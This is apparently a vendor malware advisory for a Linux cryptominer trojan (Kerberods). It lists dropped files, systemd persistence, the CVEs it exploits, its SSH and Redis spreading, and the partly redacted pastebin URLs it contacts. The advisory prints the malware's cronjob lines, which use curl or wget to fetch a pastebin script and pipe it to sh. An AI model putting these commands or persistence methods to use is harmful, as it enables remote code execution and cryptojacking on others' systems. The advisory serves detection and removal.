Author: Warren Adam Sto. Tomas   

 

Trojan.Linux.Coinminer (Ikarus)

 PLATFORM:

Linux

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE
Low
Medium
High
Critical

  • Threat Type:
    Trojan

  • Destructiveness:
    No

  • Encrypted:
    Yes

  • In the wild:
    Yes

  OVERVIEW

INFECTION CHANNEL: Downloaded from the Internet

This malware is responsible for dropping the cryptocurrency miner Coinminer.Linux.MALXMR.UWEJI and its rootkit component. It also has multiple ways of propagating itself, spreading via SSH and exploiting CVE-2019-1003001 and CVE-2019-1003000.

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File size: 2900788 bytes
File type: ELF
Memory resident: Yes
INITIAL SAMPLES RECEIVED DATE: 25 April 2019
PAYLOAD: Connects to URLs/IPs, Drops files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following copies of itself into the affected system:

  • /usr/local/bin/kerberods
  • /usr/libexec/tmp/kerberods
  • /usr/bin/kerberods
  • /tmp/kerberods

It drops the following files:

It adds the following processes:

  • /tmp/khugepageds
  • /usr/local/lib/{random}.so

Other System Modifications

This Trojan modifies the following file(s):

  • /etc/hosts

It deletes the following files:

  • /usr/local/bin/kerberods
  • /usr/libexec/tmp/kerberods
  • /usr/bin/kerberods
  • /tmp/kerberods
  • /etc/ld.so.preload

Other Details

This Trojan connects to the following URL(s) to get the affected system's IP address:

  • https://ident.me

It does the following:

  • It connects to the following URLs:
    • https://pastebin.com/raw/{BLOCKED}1u (contains string to be appended in pastebin url in created cronjobs)
    • https://pastebin.com/raw/{BLOCKED}6H (checks for update)
    • https://pastebin.com/raw/{BLOCKED}iX (the complete URL in cronjob as of this writing)
    • https://pastebin.com/raw/{BLOCKED}cb (shell script to be downloaded and executed in vulnerable devices)
  • Terminates the following processes:
    • named as "khugepageds"
    • CPU usage is more than 80%
  • Installs GCC in the system to compile the source code of the rootkit, then execute it.
  • It creates the following services to enable automatic execution of itself:
    • /etc/init.d/netdns
    • /usr/lib/systemd/system/netdns.service
  • Creates the following cronjob to enable automatic execution of a shell script found in pastebin every 10 minutes:
    • Path: /etc/cron.d/root
    • Content: */10 * * * * root (curl -fsSL https://pastebin.com/raw/{string from pastebin}||wget -q -O- https://pastebin.com/raw/{string from pastebin})|sh
  • Creates the following cronjobs to enable automatic execution of a shell script found in pastebin every 15 minutes:
    • Paths:
      • /var/spool/cron/root
      • /var/spool/cron/crontabs/root
    • Content: */15 * * * * (curl -fsSL https://pastebin.com/raw/{string from pastebin}||wget -q -O- https://pastebin.com/raw/{string from pastebin})|sh
  • It may spread to other devices:
  • It tries to access Redis servers in order to compromise it

  SOLUTION

Minimum scan engine: 9.850
First VSAPI Pattern File: 14.970.05
First VSAPI Pattern Release Date: 25 April 2019
VSAPI OPR PATTERN-VERSION: 14.971.00
VSAPI OPR PATTERN DATE: 26 April 2019

Scan your computer with your Trend Micro product to delete files detected as Trojan.Linux.KERBERDS.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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